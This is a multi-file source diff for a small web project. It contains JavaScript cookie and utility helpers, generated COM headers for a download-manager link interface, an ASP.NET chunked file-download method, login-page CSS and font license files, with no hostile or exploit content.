document.getElementById(name).value = value;
}
function createCookie(name, value, hours) {
var expires = "";
if (hours) {
var date = new Date();
date.setTime(date.getTime + (hours * 60 * 60 * 1000));
expire = ";expires=" + date.toUTCString();
}
document.cookie = name + "=" + b64EncodeUnicode(value) + expires + ";path=/";
}
function readCookie(name) {
var nameEQ = name + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) == ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) == 0)
return atob(c.substring(nameEQ.length, c.length));
}
return null;
}
function eraseCookie(name) {
document.cookie = name + "=" + b64EncodeUnicode("-") + ";expires=Thu, 01 Jan 1970 00:00:00 UTC;path=/";
}
function copyToClipboard(element) {
var $temp = $("<input>");
$("body").append($temp);
$temp.val($(element).text()).select();
document.execCommand("copy");
$temp.remove();
}
function getFileName(path) {
return path.replace(/^.*[\\\/]/, '');
}
function htmlEncode(value) {
//create a in-memory div, set it's inner text(which jQuery automatically encodes)
//then grab the encoded contents back out. The div never exists on the page.
return $('<div/>').text(value).html();
}
function htmlDecode(value) {
return $('<div/>').html(value).text();
}
function getDateTimeNow() {
var dt = new Date();
return dt.getFullYear() + "-" + (dt.getMonth() + 1) + "-" + dt.getDate() + " " + dt.getHours() + ":" + dt.getMinutes() + ":" + dt.getSeconds();
}
function getDateTimeNowForFileName() {
var dt = new Date();
return dt.getFullYear() + "-" + (dt.getMonth() + 1) + "-" + dt.getDate() + "-" + dt.getHours() + "-" + dt.getMinutes() + "-" + dt.getSeconds();
}
function useRegex(regex, str) {
return regex.exec(str);
}
function ConvertTextSizeToNumber(strSize) {
var result = 0;
if (strSize.endsWith("KB"))
result = Number(strSize.substring(0, strSize.length - 3)) * 1024;
else if (strSize.endsWith("MB"))
result = Number(strSize.substring(0, strSize.length - 3)) * 1024 * 1024;
else if (strSize.endsWith("GB"))
result = Number(strSize.substring(0, strSize.length - 3)) * 1024 * 1024 * 1024;
else if (strSize.endsWith("TB"))
result = Number(strSize.substring(0, strSize.length - 3)) * 1024 * 1024 * 1024 * 1024;
else if (strSize.endsWith("B"))
result = Number(strSize.substring(0, strSize.length - 2));
return result;
}
function ConvertNumberToTextSize(size) {
var result = size;
if (result < 1024) return result + " B";
result = result / 1024;
if (result < 1024) return result + " KB";
result = result / 1024;
if (result < 1024) return result + " MB";
result = result / 1024;
if (result < 1024) return result + " GB";
result = result / 1024;
return result + " TB";
}

View File

@@ -0,0 +1,382 @@
/* this ALWAYS GENERATED file contains the definitions for the interfaces */
/* File created by MIDL compiler version 5.01.0164 */
/* at Mon Oct 13 07:34:24 2003
*/
/* Compiler settings for C:\users\sansan\testVersion\Downloader\IDManTypeInfo.idl:
Os (OptLev=s), W1, Zp8, env=Win32, ms_ext, c_ext
error checks: allocation ref bounds_check enum stub_data
*/
//@@MIDL_FILE_HEADING( )
/* verify that the <rpcndr.h> version is high enough to compile this file*/
#ifndef __REQUIRED_RPCNDR_H_VERSION__
#define __REQUIRED_RPCNDR_H_VERSION__ 440
#endif
#include "rpc.h"
#include "rpcndr.h"
#ifndef __RPCNDR_H_VERSION__
#error this stub requires an updated version of <rpcndr.h>
#endif // __RPCNDR_H_VERSION__
#ifndef COM_NO_WINDOWS_H
#include "windows.h"
#include "ole2.h"
#endif /*COM_NO_WINDOWS_H*/
#ifndef __IDManTypeInfo_h__
#define __IDManTypeInfo_h__
#ifdef __cplusplus
extern "C"{
#endif
/* Forward Declarations */
#ifndef __ICIDMLinkTransmitter_FWD_DEFINED__
#define __ICIDMLinkTransmitter_FWD_DEFINED__
typedef interface ICIDMLinkTransmitter ICIDMLinkTransmitter;
#endif /* __ICIDMLinkTransmitter_FWD_DEFINED__ */
#ifndef __ICIDMLinkTransmitter2_FWD_DEFINED__
#define __ICIDMLinkTransmitter2_FWD_DEFINED__
typedef interface ICIDMLinkTransmitter2 ICIDMLinkTransmitter2;
#endif /* __ICIDMLinkTransmitter2_FWD_DEFINED__ */
#ifndef __CIDMLinkTransmitter_FWD_DEFINED__
#define __CIDMLinkTransmitter_FWD_DEFINED__
#ifdef __cplusplus
typedef class CIDMLinkTransmitter CIDMLinkTransmitter;
#else
typedef struct CIDMLinkTransmitter CIDMLinkTransmitter;
#endif /* __cplusplus */
#endif /* __CIDMLinkTransmitter_FWD_DEFINED__ */
/* header files for imported files */
#include "oaidl.h"
void __RPC_FAR * __RPC_USER MIDL_user_allocate(size_t);
void __RPC_USER MIDL_user_free( void __RPC_FAR * );
#ifndef __ICIDMLinkTransmitter_INTERFACE_DEFINED__
#define __ICIDMLinkTransmitter_INTERFACE_DEFINED__
/* interface ICIDMLinkTransmitter */
/* [unique][helpstring][oleautomation][uuid][object] */
EXTERN_C const IID IID_ICIDMLinkTransmitter;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("4BD46AAE-C51F-4BF7-8BC0-2E86E33D1873")
ICIDMLinkTransmitter : public IUnknown
{
public:
virtual HRESULT STDMETHODCALLTYPE SendLinkToIDM(
/* [in] */ BSTR bstrUrl,
/* [in] */ BSTR bstrReferer,
/* [in] */ BSTR bstrCookies,
/* [in] */ BSTR bstrData,
/* [in] */ BSTR bstrUser,
/* [in] */ BSTR bstrPassword,
/* [in] */ BSTR bstrLocalPath,
/* [in] */ BSTR bstrLocalFileName,
/* [in] */ long lFlags) = 0;
};
#else /* C style interface */
typedef struct ICIDMLinkTransmitterVtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE __RPC_FAR *QueryInterface )(
ICIDMLinkTransmitter __RPC_FAR * This,
/* [in] */ REFIID riid,
/* [iid_is][out] */ void __RPC_FAR *__RPC_FAR *ppvObject);
ULONG ( STDMETHODCALLTYPE __RPC_FAR *AddRef )(
ICIDMLinkTransmitter __RPC_FAR * This);
ULONG ( STDMETHODCALLTYPE __RPC_FAR *Release )(
ICIDMLinkTransmitter __RPC_FAR * This);
HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinkToIDM )(
ICIDMLinkTransmitter __RPC_FAR * This,
/* [in] */ BSTR bstrUrl,
/* [in] */ BSTR bstrReferer,
/* [in] */ BSTR bstrCookies,
/* [in] */ BSTR bstrData,
/* [in] */ BSTR bstrUser,
/* [in] */ BSTR bstrPassword,
/* [in] */ BSTR bstrLocalPath,
/* [in] */ BSTR bstrLocalFileName,
/* [in] */ long lFlags);
END_INTERFACE
} ICIDMLinkTransmitterVtbl;
interface ICIDMLinkTransmitter
{
CONST_VTBL struct ICIDMLinkTransmitterVtbl __RPC_FAR *lpVtbl;
};
#ifdef COBJMACROS
#define ICIDMLinkTransmitter_QueryInterface(This,riid,ppvObject) \
(This)->lpVtbl -> QueryInterface(This,riid,ppvObject)
#define ICIDMLinkTransmitter_AddRef(This) \
(This)->lpVtbl -> AddRef(This)
#define ICIDMLinkTransmitter_Release(This) \
(This)->lpVtbl -> Release(This)
#define ICIDMLinkTransmitter_SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags) \
(This)->lpVtbl -> SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags)
#endif /* COBJMACROS */
#endif /* C style interface */
HRESULT STDMETHODCALLTYPE ICIDMLinkTransmitter_SendLinkToIDM_Proxy(
ICIDMLinkTransmitter __RPC_FAR * This,
/* [in] */ BSTR bstrUrl,
/* [in] */ BSTR bstrReferer,
/* [in] */ BSTR bstrCookies,
/* [in] */ BSTR bstrData,
/* [in] */ BSTR bstrUser,
/* [in] */ BSTR bstrPassword,
/* [in] */ BSTR bstrLocalPath,
/* [in] */ BSTR bstrLocalFileName,
/* [in] */ long lFlags);
void __RPC_STUB ICIDMLinkTransmitter_SendLinkToIDM_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __ICIDMLinkTransmitter_INTERFACE_DEFINED__ */
#ifndef __ICIDMLinkTransmitter2_INTERFACE_DEFINED__
#define __ICIDMLinkTransmitter2_INTERFACE_DEFINED__
/* interface ICIDMLinkTransmitter2 */
/* [unique][helpstring][oleautomation][uuid][object] */
EXTERN_C const IID IID_ICIDMLinkTransmitter2;
#if defined(__cplusplus) && !defined(CINTERFACE)
MIDL_INTERFACE("94D09862-1875-4FC9-B434-91CF25C840A1")
ICIDMLinkTransmitter2 : public ICIDMLinkTransmitter
{
public:
virtual HRESULT STDMETHODCALLTYPE SendLinkToIDM2(
/* [in] */ BSTR bstrUrl,
/* [in] */ BSTR bstrReferer,
/* [in] */ BSTR bstrCookies,
/* [in] */ BSTR bstrData,
/* [in] */ BSTR bstrUser,
/* [in] */ BSTR bstrPassword,
/* [in] */ BSTR bstrLocalPath,
/* [in] */ BSTR bstrLocalFileName,
/* [in] */ long lFlags,
/* [in] */ VARIANT reserved1,
/* [in] */ VARIANT reserved2) = 0;
virtual HRESULT STDMETHODCALLTYPE SendLinksArray(
/* [in] */ BSTR location,
/* [in] */ VARIANT __RPC_FAR *pLinksArray) = 0;
};
#else /* C style interface */
typedef struct ICIDMLinkTransmitter2Vtbl
{
BEGIN_INTERFACE
HRESULT ( STDMETHODCALLTYPE __RPC_FAR *QueryInterface )(
ICIDMLinkTransmitter2 __RPC_FAR * This,
/* [in] */ REFIID riid,
/* [iid_is][out] */ void __RPC_FAR *__RPC_FAR *ppvObject);
ULONG ( STDMETHODCALLTYPE __RPC_FAR *AddRef )(
ICIDMLinkTransmitter2 __RPC_FAR * This);
ULONG ( STDMETHODCALLTYPE __RPC_FAR *Release )(
ICIDMLinkTransmitter2 __RPC_FAR * This);
HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinkToIDM )(
ICIDMLinkTransmitter2 __RPC_FAR * This,
/* [in] */ BSTR bstrUrl,
/* [in] */ BSTR bstrReferer,
/* [in] */ BSTR bstrCookies,
/* [in] */ BSTR bstrData,
/* [in] */ BSTR bstrUser,
/* [in] */ BSTR bstrPassword,
/* [in] */ BSTR bstrLocalPath,
/* [in] */ BSTR bstrLocalFileName,
/* [in] */ long lFlags);
HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinkToIDM2 )(
ICIDMLinkTransmitter2 __RPC_FAR * This,
/* [in] */ BSTR bstrUrl,
/* [in] */ BSTR bstrReferer,
/* [in] */ BSTR bstrCookies,
/* [in] */ BSTR bstrData,
/* [in] */ BSTR bstrUser,
/* [in] */ BSTR bstrPassword,
/* [in] */ BSTR bstrLocalPath,
/* [in] */ BSTR bstrLocalFileName,
/* [in] */ long lFlags,
/* [in] */ VARIANT reserved1,
/* [in] */ VARIANT reserved2);
HRESULT ( STDMETHODCALLTYPE __RPC_FAR *SendLinksArray )(
ICIDMLinkTransmitter2 __RPC_FAR * This,
/* [in] */ BSTR location,
/* [in] */ VARIANT __RPC_FAR *pLinksArray);
END_INTERFACE
} ICIDMLinkTransmitter2Vtbl;
interface ICIDMLinkTransmitter2
{
CONST_VTBL struct ICIDMLinkTransmitter2Vtbl __RPC_FAR *lpVtbl;
};
#ifdef COBJMACROS
#define ICIDMLinkTransmitter2_QueryInterface(This,riid,ppvObject) \
(This)->lpVtbl -> QueryInterface(This,riid,ppvObject)
#define ICIDMLinkTransmitter2_AddRef(This) \
(This)->lpVtbl -> AddRef(This)
#define ICIDMLinkTransmitter2_Release(This) \
(This)->lpVtbl -> Release(This)
#define ICIDMLinkTransmitter2_SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags) \
(This)->lpVtbl -> SendLinkToIDM(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags)
#define ICIDMLinkTransmitter2_SendLinkToIDM2(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags,reserved1,reserved2) \
(This)->lpVtbl -> SendLinkToIDM2(This,bstrUrl,bstrReferer,bstrCookies,bstrData,bstrUser,bstrPassword,bstrLocalPath,bstrLocalFileName,lFlags,reserved1,reserved2)
#define ICIDMLinkTransmitter2_SendLinksArray(This,location,pLinksArray) \
(This)->lpVtbl -> SendLinksArray(This,location,pLinksArray)
#endif /* COBJMACROS */
#endif /* C style interface */
HRESULT STDMETHODCALLTYPE ICIDMLinkTransmitter2_SendLinkToIDM2_Proxy(
ICIDMLinkTransmitter2 __RPC_FAR * This,
/* [in] */ BSTR bstrUrl,
/* [in] */ BSTR bstrReferer,
/* [in] */ BSTR bstrCookies,
/* [in] */ BSTR bstrData,
/* [in] */ BSTR bstrUser,
/* [in] */ BSTR bstrPassword,
/* [in] */ BSTR bstrLocalPath,
/* [in] */ BSTR bstrLocalFileName,
/* [in] */ long lFlags,
/* [in] */ VARIANT reserved1,
/* [in] */ VARIANT reserved2);
void __RPC_STUB ICIDMLinkTransmitter2_SendLinkToIDM2_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
HRESULT STDMETHODCALLTYPE ICIDMLinkTransmitter2_SendLinksArray_Proxy(
ICIDMLinkTransmitter2 __RPC_FAR * This,
/* [in] */ BSTR location,
/* [in] */ VARIANT __RPC_FAR *pLinksArray);
void __RPC_STUB ICIDMLinkTransmitter2_SendLinksArray_Stub(
IRpcStubBuffer *This,
IRpcChannelBuffer *_pRpcChannelBuffer,
PRPC_MESSAGE _pRpcMessage,
DWORD *_pdwStubPhase);
#endif /* __ICIDMLinkTransmitter2_INTERFACE_DEFINED__ */
#ifndef __IDManLib_LIBRARY_DEFINED__
#define __IDManLib_LIBRARY_DEFINED__
/* library IDManLib */
/* [helpstring][version][uuid] */
EXTERN_C const IID LIBID_IDManLib;
EXTERN_C const CLSID CLSID_CIDMLinkTransmitter;
#ifdef __cplusplus
class DECLSPEC_UUID("AC746233-E9D3-49CD-862F-068F7B7CCCA4")
CIDMLinkTransmitter;
#endif
#endif /* __IDManLib_LIBRARY_DEFINED__ */
/* Additional Prototypes for ALL interfaces */
unsigned long __RPC_USER BSTR_UserSize( unsigned long __RPC_FAR *, unsigned long , BSTR __RPC_FAR * );
unsigned char __RPC_FAR * __RPC_USER BSTR_UserMarshal( unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, BSTR __RPC_FAR * );
unsigned char __RPC_FAR * __RPC_USER BSTR_UserUnmarshal(unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, BSTR __RPC_FAR * );
void __RPC_USER BSTR_UserFree( unsigned long __RPC_FAR *, BSTR __RPC_FAR * );
unsigned long __RPC_USER VARIANT_UserSize( unsigned long __RPC_FAR *, unsigned long , VARIANT __RPC_FAR * );
unsigned char __RPC_FAR * __RPC_USER VARIANT_UserMarshal( unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, VARIANT __RPC_FAR * );
unsigned char __RPC_FAR * __RPC_USER VARIANT_UserUnmarshal(unsigned long __RPC_FAR *, unsigned char __RPC_FAR *, VARIANT __RPC_FAR * );
void __RPC_USER VARIANT_UserFree( unsigned long __RPC_FAR *, VARIANT __RPC_FAR * );
/* end of Additional Prototypes */
#ifdef __cplusplus
}
#endif
#endif

View File

@@ -0,0 +1,53 @@
/* this file contains the actual definitions of */
/* the IIDs and CLSIDs */
/* link this file in with the server and any clients */
/* File created by MIDL compiler version 5.01.0164 */
/* at Mon Oct 13 07:34:24 2003
*/
/* Compiler settings for C:\users\sansan\testVersion\Downloader\IDManTypeInfo.idl:
Os (OptLev=s), W1, Zp8, env=Win32, ms_ext, c_ext
error checks: allocation ref bounds_check enum stub_data
*/
//@@MIDL_FILE_HEADING( )
#ifdef __cplusplus
extern "C"{
#endif
#ifndef __IID_DEFINED__
#define __IID_DEFINED__
typedef struct _IID
{
unsigned long x;
unsigned short s1;
unsigned short s2;
unsigned char c[8];
} IID;
#endif // __IID_DEFINED__
#ifndef CLSID_DEFINED
#define CLSID_DEFINED
typedef IID CLSID;
#endif // CLSID_DEFINED
const IID IID_ICIDMLinkTransmitter = {0x4BD46AAE,0xC51F,0x4BF7,{0x8B,0xC0,0x2E,0x86,0xE3,0x3D,0x18,0x73}};
const IID IID_ICIDMLinkTransmitter2 = {0x94D09862,0x1875,0x4FC9,{0xB4,0x34,0x91,0xCF,0x25,0xC8,0x40,0xA1}};
const IID LIBID_IDManLib = {0xECF21EAB,0x3AA8,0x4355,{0x82,0xBE,0xF7,0x77,0x99,0x00,0x01,0xDD}};
const CLSID CLSID_CIDMLinkTransmitter = {0xAC746233,0xE9D3,0x49CD,{0x86,0x2F,0x06,0x8F,0x7B,0x7C,0xCC,0xA4}};
#ifdef __cplusplus
}
#endif

View File

@@ -0,0 +1,104 @@
public void Download(int id)
{
// **************************************************
string strFileName =
string.Format("{0}.zip", id);
string strRootRelativePathName =
string.Format("~/App_Data/Files/{0}", strFileName);
string strPathName =
Server.MapPath(strRootRelativePathName);
if (System.IO.File.Exists(strPathName) == false)
{
return;
}
// **************************************************
System.IO.Stream oStream = null;
try
{
// Open the file
oStream =
new System.IO.FileStream
(path: strPathName,
mode: System.IO.FileMode.Open,
share: System.IO.FileShare.Read,
access: System.IO.FileAccess.Read);
// **************************************************
Response.Buffer = false;
// Setting the unknown [ContentType]
// will display the saving dialog for the user
Response.ContentType = "application/octet-stream";
// With setting the file name,
// in the saving dialog, user will see
// the [strFileName] name instead of [download]!
//Response.AddHeader("Content-Disposition", "attachment; filename=" + strFileName);
Response.AppendHeader("Content-Disposition", "attachment;size=" + new System.IO.FileInfo(strPathName).Length + ";filename=" + strFileName);
long lngFileLength = oStream.Length;
// Notify user (client) the total file length
Response.AddHeader("Content-Length", lngFileLength.ToString());
// **************************************************
// Total bytes that should be read
long lngDataToRead = lngFileLength;
// Read the bytes of file
while (lngDataToRead > 0)
{
// The below code is just for testing! So we commented it!
//System.Threading.Thread.Sleep(200);
// Verify that the client is connected or not?
if (Response.IsClientConnected)
{
// 8KB
int intBufferSize = 8 * 1024;
// Create buffer for reading [intBufferSize] bytes from file
byte[] bytBuffers =
new System.Byte[intBufferSize];
// Read the data and put it in the buffer.
int intTheBytesThatReallyHasBeenReadFromTheStream =
oStream.Read(buffer: bytBuffers, offset: 0, count: intBufferSize);
// Write the data from buffer to the current output stream.
Response.OutputStream.Write
(buffer: bytBuffers, offset: 0,
count: intTheBytesThatReallyHasBeenReadFromTheStream);
// Flush (Send) the data to output
// (Don't buffer in server's RAM!)
Response.Flush();
lngDataToRead =
lngDataToRead - intTheBytesThatReallyHasBeenReadFromTheStream;
}
else
{
// Prevent infinite loop if user disconnected!
lngDataToRead = -1;
}
}
}
catch { }
finally
{
if (oStream != null)
{
//Close the file.
oStream.Close();
oStream.Dispose();
oStream = null;
}
Response.Close();
}
}

View File

@@ -0,0 +1,11 @@
<?xml version="1.0" encoding="utf-8"?>
<!--
For more information on how to configure your ASP.NET application, please visit
https://go.microsoft.com/fwlink/?LinkId=169433
-->
<configuration>
<system.web>
<compilation debug="true" targetFramework="4.6.1"/>
<httpRuntime targetFramework="4.6.1"/>
</system.web>
</configuration>

View File

@@ -0,0 +1,472 @@
/*//////////////////////////////////////////////////////////////////
[ FONT ]*/
@font-face {
font-family: Poppins-Regular;
src: url('../fonts/poppins/Poppins-Regular.ttf');
}
@font-face {
font-family: Poppins-Bold;
src: url('../fonts/poppins/Poppins-Bold.ttf');
}
@font-face {
font-family: Poppins-Medium;
src: url('../fonts/poppins/Poppins-Medium.ttf');
}
@font-face {
font-family: Montserrat-Bold;
src: url('../fonts/montserrat/Montserrat-Bold.ttf');
}
/*//////////////////////////////////////////////////////////////////
[ RESTYLE TAG ]*/
* {
margin: 0px;
padding: 0px;
box-sizing: border-box;
}
body, html {
height: 100%;
font-family: Poppins-Regular, sans-serif;
}
/*---------------------------------------------*/
a {
font-family: Poppins-Regular;
font-size: 14px;
line-height: 1.7;
color: #666666;
margin: 0px;
transition: all 0.4s;
-webkit-transition: all 0.4s;
-o-transition: all 0.4s;
-moz-transition: all 0.4s;
}
a:focus {
outline: none !important;
}
a:hover {
text-decoration: none;
color: #57b846;
}
/*---------------------------------------------*/
h1,h2,h3,h4,h5,h6 {
margin: 0px;
}
p {
font-family: Poppins-Regular;
font-size: 14px;
line-height: 1.7;
color: #666666;
margin: 0px;
}
ul, li {
margin: 0px;
list-style-type: none;
}
/*---------------------------------------------*/
input {
outline: none;
border: none;
}
textarea {
outline: none;
border: none;
}
textarea:focus, input:focus {
border-color: transparent !important;
}
input:focus::-webkit-input-placeholder { color:transparent; }
input:focus:-moz-placeholder { color:transparent; }
input:focus::-moz-placeholder { color:transparent; }
input:focus:-ms-input-placeholder { color:transparent; }
textarea:focus::-webkit-input-placeholder { color:transparent; }
textarea:focus:-moz-placeholder { color:transparent; }
textarea:focus::-moz-placeholder { color:transparent; }
textarea:focus:-ms-input-placeholder { color:transparent; }
input::-webkit-input-placeholder { color: #999999; }
input:-moz-placeholder { color: #999999; }
input::-moz-placeholder { color: #999999; }
input:-ms-input-placeholder { color: #999999; }
textarea::-webkit-input-placeholder { color: #999999; }
textarea:-moz-placeholder { color: #999999; }
textarea::-moz-placeholder { color: #999999; }
textarea:-ms-input-placeholder { color: #999999; }
/*---------------------------------------------*/
button {
outline: none !important;
border: none;
background: transparent;
}
button:hover {
cursor: pointer;
}
iframe {
border: none !important;
}
/*//////////////////////////////////////////////////////////////////
[ Utility ]*/
.txt1 {
font-family: Poppins-Regular;
font-size: 13px;
line-height: 1.5;
color: #999999;
}
.txt2 {
font-family: Poppins-Regular;
font-size: 13px;
line-height: 1.5;
color: #666666;
}
/*//////////////////////////////////////////////////////////////////
[ login ]*/
.limiter {
width: 100%;
margin: 0 auto;
}
.container-login100 {
width: 100%;
min-height: 100vh;
display: -webkit-box;
display: -webkit-flex;
display: -moz-box;
display: -ms-flexbox;
display: flex;
flex-wrap: wrap;
justify-content: center;
align-items: center;
padding: 15px;
background: #9053c7;
background: -webkit-linear-gradient(-135deg, #c850c0, #4158d0);
background: -o-linear-gradient(-135deg, #c850c0, #4158d0);
background: -moz-linear-gradient(-135deg, #c850c0, #4158d0);
background: linear-gradient(-135deg, #c850c0, #4158d0);
}
.wrap-login100 {
width: 960px;
background: #fff;
border-radius: 10px;
overflow: hidden;
display: -webkit-box;
display: -webkit-flex;
display: -moz-box;
display: -ms-flexbox;
display: flex;
flex-wrap: wrap;
justify-content: space-between;
padding: 85px 130px 33px 95px;
}
/*------------------------------------------------------------------
[ ]*/
.login100-pic {
width: 316px;
}
.login100-pic img {
max-width: 100%;
}
/*------------------------------------------------------------------
[ ]*/
.login100-form {
width: 290px;
}
.login100-form-title {
font-family: Poppins-Bold;
font-size: 24px;
color: #333333;
line-height: 1.2;
text-align: center;
width: 100%;
display: block;
padding-bottom: 35px;
}
/*---------------------------------------------*/
.wrap-input100 {
position: relative;
width: 100%;
z-index: 1;
margin-bottom: 10px;
}
.input100 {
font-family: Poppins-Medium;
font-size: 15px;
line-height: 1.5;
color: #666666;
display: block;
width: 100%;
background: #e6e6e6;
height: 50px;
border-radius: 25px;
padding: 0 30px 0 68px;
}
/*------------------------------------------------------------------
[ Focus ]*/
.focus-input100 {
display: block;
position: absolute;
border-radius: 25px;
bottom: 0;
left: 0;
z-index: -1;
width: 100%;
height: 100%;
box-shadow: 0px 0px 0px 0px;
color: rgba(87,184,70, 0.8);
}
.input100:focus + .focus-input100 {
-webkit-animation: anim-shadow 0.5s ease-in-out forwards;
animation: anim-shadow 0.5s ease-in-out forwards;
}
@-webkit-keyframes anim-shadow {
to {
box-shadow: 0px 0px 70px 25px;
opacity: 0;
}
}
@keyframes anim-shadow {
to {
box-shadow: 0px 0px 70px 25px;
opacity: 0;
}
}
.symbol-input100 {
font-size: 15px;
display: -webkit-box;
display: -webkit-flex;
display: -moz-box;
display: -ms-flexbox;
display: flex;
align-items: center;
position: absolute;
border-radius: 25px;
bottom: 0;
left: 0;
width: 100%;
height: 100%;
padding-left: 35px;
pointer-events: none;
color: #666666;
-webkit-transition: all 0.4s;
-o-transition: all 0.4s;
-moz-transition: all 0.4s;
transition: all 0.4s;
}
.input100:focus + .focus-input100 + .symbol-input100 {
color: #57b846;
padding-left: 28px;
}
/*------------------------------------------------------------------
[ Button ]*/
.container-login100-form-btn {
width: 100%;
display: -webkit-box;
display: -webkit-flex;
display: -moz-box;
display: -ms-flexbox;
display: flex;
flex-wrap: wrap;
justify-content: center;
}
.login100-form-btn {
font-family: Montserrat-Bold;
font-size: 15px;
line-height: 1.5;
color: #fff;
text-transform: uppercase;
width: 100%;
height: 50px;
border-radius: 25px;
background: #57b846;
display: -webkit-box;
display: -webkit-flex;
display: -moz-box;
display: -ms-flexbox;
display: flex;
justify-content: center;
align-items: center;
padding: 0 25px;
-webkit-transition: all 0.4s;
-o-transition: all 0.4s;
-moz-transition: all 0.4s;
transition: all 0.4s;
}
.login100-form-btn:hover {
background: #333333;
}
/*------------------------------------------------------------------
[ Responsive ]*/
@media (max-width: 992px) {
.wrap-login100 {
padding: 177px 90px 33px 85px;
}
.login100-pic {
width: 35%;
}
.login100-form {
width: 50%;
}
}
@media (max-width: 768px) {
.wrap-login100 {
padding: 100px 80px 33px 80px;
}
.login100-pic {
display: none;
}
.login100-form {
width: 100%;
}
}
@media (max-width: 576px) {
.wrap-login100 {
padding: 100px 15px 33px 15px;
}
}
/*------------------------------------------------------------------
[ Alert validate ]*/
.validate-input {
position: relative;
}
.alert-validate::before {
content: attr(data-validate);
position: absolute;
max-width: 70%;
background-color: white;
border: 1px solid #c80000;
border-radius: 13px;
padding: 4px 25px 4px 10px;
top: 50%;
-webkit-transform: translateY(-50%);
-moz-transform: translateY(-50%);
-ms-transform: translateY(-50%);
-o-transform: translateY(-50%);
transform: translateY(-50%);
right: 8px;
pointer-events: none;
font-family: Poppins-Medium;
color: #c80000;
font-size: 13px;
line-height: 1.4;
text-align: left;
visibility: hidden;
opacity: 0;
-webkit-transition: opacity 0.4s;
-o-transition: opacity 0.4s;
-moz-transition: opacity 0.4s;
transition: opacity 0.4s;
}
.alert-validate::after {
content: "\f06a";
font-family: FontAwesome;
display: block;
position: absolute;
color: #c80000;
font-size: 15px;
top: 50%;
-webkit-transform: translateY(-50%);
-moz-transform: translateY(-50%);
-ms-transform: translateY(-50%);
-o-transform: translateY(-50%);
transform: translateY(-50%);
right: 13px;
}
.alert-validate:hover:before {
visibility: visible;
opacity: 1;
}
@media (max-width: 992px) {
.alert-validate::before {
visibility: visible;
opacity: 1;
}
}
.foxicon {
width: 157px;
height: 156px;
background-image: url(../images/foxicon.png);
/* position: absolute; */
/* top: 0; */
margin-left: 72px;
margin-bottom: 30px;
margin-top: -50px;
}

File diff suppressed because it is too large Load Diff

View File

@@ -0,0 +1,7 @@
I hope you love Font Awesome. If you've found it useful, please do me a favor and check out my latest project,
Fort Awesome (https://fortawesome.com). It makes it easy to put the perfect icons on your website. Choose from our awesome,
comprehensive icon sets or copy and paste your own.
Please. Check it out.
-Dave Gandy

View File

@@ -0,0 +1,93 @@
Copyright 2011 The Montserrat Project Authors (https://github.com/JulietaUla/Montserrat)
This Font Software is licensed under the SIL Open Font License, Version 1.1.
This license is copied below, and is also available with a FAQ at:
http://scripts.sil.org/OFL
-----------------------------------------------------------
SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007
-----------------------------------------------------------
PREAMBLE
The goals of the Open Font License (OFL) are to stimulate worldwide
development of collaborative font projects, to support the font creation
efforts of academic and linguistic communities, and to provide a free and
open framework in which fonts may be shared and improved in partnership
with others.
The OFL allows the licensed fonts to be used, studied, modified and
redistributed freely as long as they are not sold by themselves. The
fonts, including any derivative works, can be bundled, embedded,
redistributed and/or sold with any software provided that any reserved
names are not used by derivative works. The fonts and derivatives,
however, cannot be released under any other type of license. The
requirement for fonts to remain under this license does not apply
to any document created using the fonts or their derivatives.
DEFINITIONS
"Font Software" refers to the set of files released by the Copyright
Holder(s) under this license and clearly marked as such. This may
include source files, build scripts and documentation.
"Reserved Font Name" refers to any names specified as such after the
copyright statement(s).
"Original Version" refers to the collection of Font Software components as
distributed by the Copyright Holder(s).
"Modified Version" refers to any derivative made by adding to, deleting,
or substituting -- in part or in whole -- any of the components of the
Original Version, by changing formats or by porting the Font Software to a
new environment.
"Author" refers to any designer, engineer, programmer, technical
writer or other person who contributed to the Font Software.
PERMISSION & CONDITIONS
Permission is hereby granted, free of charge, to any person obtaining
a copy of the Font Software, to use, study, copy, merge, embed, modify,
redistribute, and sell modified and unmodified copies of the Font
Software, subject to the following conditions:
1) Neither the Font Software nor any of its individual components,
in Original or Modified Versions, may be sold by itself.
2) Original or Modified Versions of the Font Software may be bundled,
redistributed and/or sold with any software, provided that each copy
contains the above copyright notice and this license. These can be
included either as stand-alone text files, human-readable headers or
in the appropriate machine-readable metadata fields within text or
binary files as long as those fields can be easily viewed by the user.
3) No Modified Version of the Font Software may use the Reserved Font
Name(s) unless explicit written permission is granted by the corresponding
Copyright Holder. This restriction only applies to the primary font name as
presented to the users.
4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font
Software shall not be used to promote, endorse or advertise any
Modified Version, except to acknowledge the contribution(s) of the
Copyright Holder(s) and the Author(s) or with their explicit written
permission.
5) The Font Software, modified or unmodified, in part or in whole,
must be distributed entirely under this license, and must not be
distributed under any other license. The requirement for fonts to
remain under this license does not apply to any document created
using the Font Software.
TERMINATION
This license becomes null and void if any of the above conditions are
not met.
DISCLAIMER
